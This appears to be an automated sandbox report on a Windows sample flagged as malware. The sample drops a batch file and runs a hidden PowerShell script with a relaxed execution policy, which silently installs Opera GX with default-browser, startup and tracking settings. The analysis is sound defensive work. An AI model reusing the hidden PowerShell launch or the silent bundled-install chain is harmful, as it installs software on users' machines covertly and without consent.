      Source: opera_autoupdate.exe.13.drStatic PE information: Number of sections : 13 > 10
      Source: notification_helper.exe.13.drStatic PE information: Number of sections : 11 > 10
      Source: Opera_installer_2410130833545532052.dll.23.drStatic PE information: Number of sections : 14 > 10
      Source: launcher.exe.13.drStatic PE information: Number of sections : 12 > 10
      Source: opera_crashreporter.exe.13.drStatic PE information: Number of sections : 12 > 10
      Source: opera_browser.dll.13.drStatic PE information: Number of sections : 15 > 10
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000000.1314509691.00000000004C6000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFileName vs SecuriteInfo.com.FileRepMalware.27261.32754.exe
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1318438752.000000007FE35000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs SecuriteInfo.com.FileRepMalware.27261.32754.exe
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1317502919.0000000002708000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs SecuriteInfo.com.FileRepMalware.27261.32754.exe
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeKey value queried: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon version
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeKey value queried: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon version
      Source: classification engineClassification label: mal84.spyw.evad.winEXE@93/1001@0/18
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_00408DD2 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,19_2_00408DD2
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0071051B GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,20_2_0071051B
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0071051B GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,21_2_0071051B
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_004011FD GetDiskFreeSpaceExW,SendMessageW,19_2_004011FD
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_0040388A _wtol,_wtol,SHGetSpecialFolderPathW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,CoCreateInstance,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,19_2_0040388A
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_00401DF5 GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,19_2_00401DF5
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpFile created: C:\Users\user\AppData\Local\ProgramsJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeMutant created: NULL
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeMutant created: \Sessions\1\BaseNamedObjects\Global\Opera/Installer/C:/Users/user/AppData/Local/Programs/Opera GX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeMutant created: \Sessions\1\BaseNamedObjects\oauc_registry_mutex
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7564:120:WilError_03
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeMutant created: \Sessions\1\BaseNamedObjects\opera_splash_lock_73ac9216333535fe0cd1aec3349df15b
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeMutant created: \Sessions\1\BaseNamedObjects\Local\ChromeProcessSingletonStartup!
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeFile created: C:\Users\user~1\AppData\Local\Temp\is-1Q533.tmpJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user~1\AppData\Local\Temp\is-GJEPE.tmp\do.bat""
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile read: C:\Users\desktop.ini
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeFile read: C:\Windows\System32\drivers\etc\hosts
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeVirustotal: Detection: 53%
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeReversingLabs: Detection: 42%
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/move_file_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/assistant/installer/assistant_installer_main.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/common/association_utils.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/assistant/installer/assistant_installer.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/unpack_archive_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/service/task_scheduler_v2.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/change_reg_value_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../base/process/launch_win.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/copy_file_operation.cc
      Source: assistant_installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: assistant_installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/create_folder_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/assistant/installer/assistant_installer_steps.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/create_reg_key_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/status/json_installation_status_writer.cc
      Source: assistant_installer.exeString found in binary or memory: post-elevated-install-tasks
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/delete_file_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/delete_reg_key_operation.cc
      Source: assistant_installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: assistant_installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/move_file_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/assistant/installer/assistant_installer_main.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/common/association_utils.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/assistant/installer/assistant_installer.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/unpack_archive_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/service/task_scheduler_v2.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/change_reg_value_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../base/process/launch_win.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/copy_file_operation.cc
      Source: assistant_installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: assistant_installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/create_folder_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/assistant/installer/assistant_installer_steps.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/create_reg_key_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/status/json_installation_status_writer.cc
      Source: assistant_installer.exeString found in binary or memory: post-elevated-install-tasks
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/delete_file_operation.cc
      Source: assistant_installer.exeString found in binary or memory: ../../opera/desktop/windows/installer/transactions/delete_reg_key_operation.cc
      Source: assistant_installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: assistant_installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: installer.exeString found in binary or memory: OperaInstaller/InstallationInterrupted
      Source: installer.exeString found in binary or memory: all-installer-experiments
      Source: installer.exeString found in binary or memory: run-at-startup
      Source: installer.exeString found in binary or memory: post-elevated-install-tasks
      Source: installer.exeString found in binary or memory: launchopera-on-os-start
      Source: installer.exeString found in binary or memory: master-copy-installation
      Source: installer.exeString found in binary or memory: enable-installer-stats
      Source: installer.exeString found in binary or memory: override-additional-config-url
      Source: installer.exeString found in binary or memory: test-pre-installed-extensions-dir
      Source: installer.exeString found in binary or memory: show-eula-window-on-start
      Source: installer.exeString found in binary or memory: Global\Opera/Installer/
      Source: installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: installer.exeString found in binary or memory: Try '%ls --help' for more information.
      Source: installer.exeString found in binary or memory: ran-launcher
      Source: installer.exeString found in binary or memory: partition_alloc/address_space
      Source: installer.exeString found in binary or memory: When enabled, https://addons.opera.com/en/extensions/details/dify-cashback/ extension will be added to the user's extensions
      Source: installer.exeString found in binary or memory: free-invalid-address
      Source: installer.exeString found in binary or memory: installer-bypass-launcher
      Source: installer.exeString found in binary or memory: s Breakpad server URL, only if uploads are enabled for the database --help display this help and exit --version output version information and exit
      Source: installer.exeString found in binary or memory: s Breakpad server URL, only if uploads are enabled for the database --help display this help and exit --version output version information and exit
      Source: installer.exeString found in binary or memory: run-at-startup-default
      Source: installer.exeString found in binary or memory: replace-addons-extensions-with-gx-store-substitutes
      Source: installer.exeString found in binary or memory: Local\%ls/Installer/UI_lock
      Source: installer.exeString found in binary or memory: opera-startpage-special
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeFile read: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe "C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe"
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeProcess created: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp "C:\Users\user~1\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp" /SL5="$30408,922170,832512,C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe"
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user~1\AppData\Local\Temp\is-GJEPE.tmp\do.bat""
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exe "./f_1.exe" --silent --allusers=0
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --silent --allusers=0 --server-tracking-blob=Y2Q3MWViYTBlM2RlZjljMTNkMzRhMTU1MjZjOTIzY2NjNGJhNzVlZGFiMGIyODBlZTE0YmQzY2IyMTEwYjEzZjp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOiJvcGVyYV9neCIsInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJ0aW1lc3RhbXAiOiIxNzI4ODA0NTcyLjMyMDMiLCJ1c2VyYWdlbnQiOiJJbm5vRG93bmxvYWRQbHVnaW4vMS41IiwidXRtIjp7ImNhbXBhaWduIjoiUFdOX1VTX1BCM19ERF8zNjYxIiwiY29udGVudCI6IjM2NjFfMjkxMCIsImlkIjoiMmJhZmRlZjI2NDE4NDAyMTkxNTVlOTA5NGYyZWQzYTkiLCJtZWRpdW0iOiJwYSIsInNvdXJjZSI6IlBXTmdhbWVzIn0sInV1aWQiOiJmZDNlZmVkYy1iODExLTQxMDgtYTI0MC05N2YyZGI0ZDBlY2UifQ==
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x69288c0c,0x69288c18,0x69288c24
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exe" --version
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe "C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --initial-pid=7884 --package-dir-prefix="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_20241013043104" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=E805000000000000
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x340,0x344,0x348,0x304,0x30c,0x68488c0c,0x68488c18,0x68488c24
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe"
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --version
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=73.0.3856.382 --initial-client-data=0x270,0x274,0x278,0x24c,0x27c,0x8a4f48,0x8a4f58,0x8a4f64
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --backend --initial-pid=7884 --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --package-dir="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9 --silent --desktopshortcut=1 --install-subfolder=114.0.5282.93
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x258,0x278,0x27c,0x254,0x280,0x7ffb0c359d80,0x7ffb0c359d8c,0x7ffb0c359d98
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe "C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe" --start-maximized
      Source: unknownProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe "C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe" --scheduledtask --bypasslauncher 0
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1d8,0x1e8,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe "C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ff7c794669c,0x7ff7c79466a8,0x7ff7c79466b8
      Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe "C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe" --start-maximized --lowered-browser
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1e4,0x1f4,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeProcess created: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp "C:\Users\user~1\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp" /SL5="$30408,922170,832512,C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe" Jump to behavior
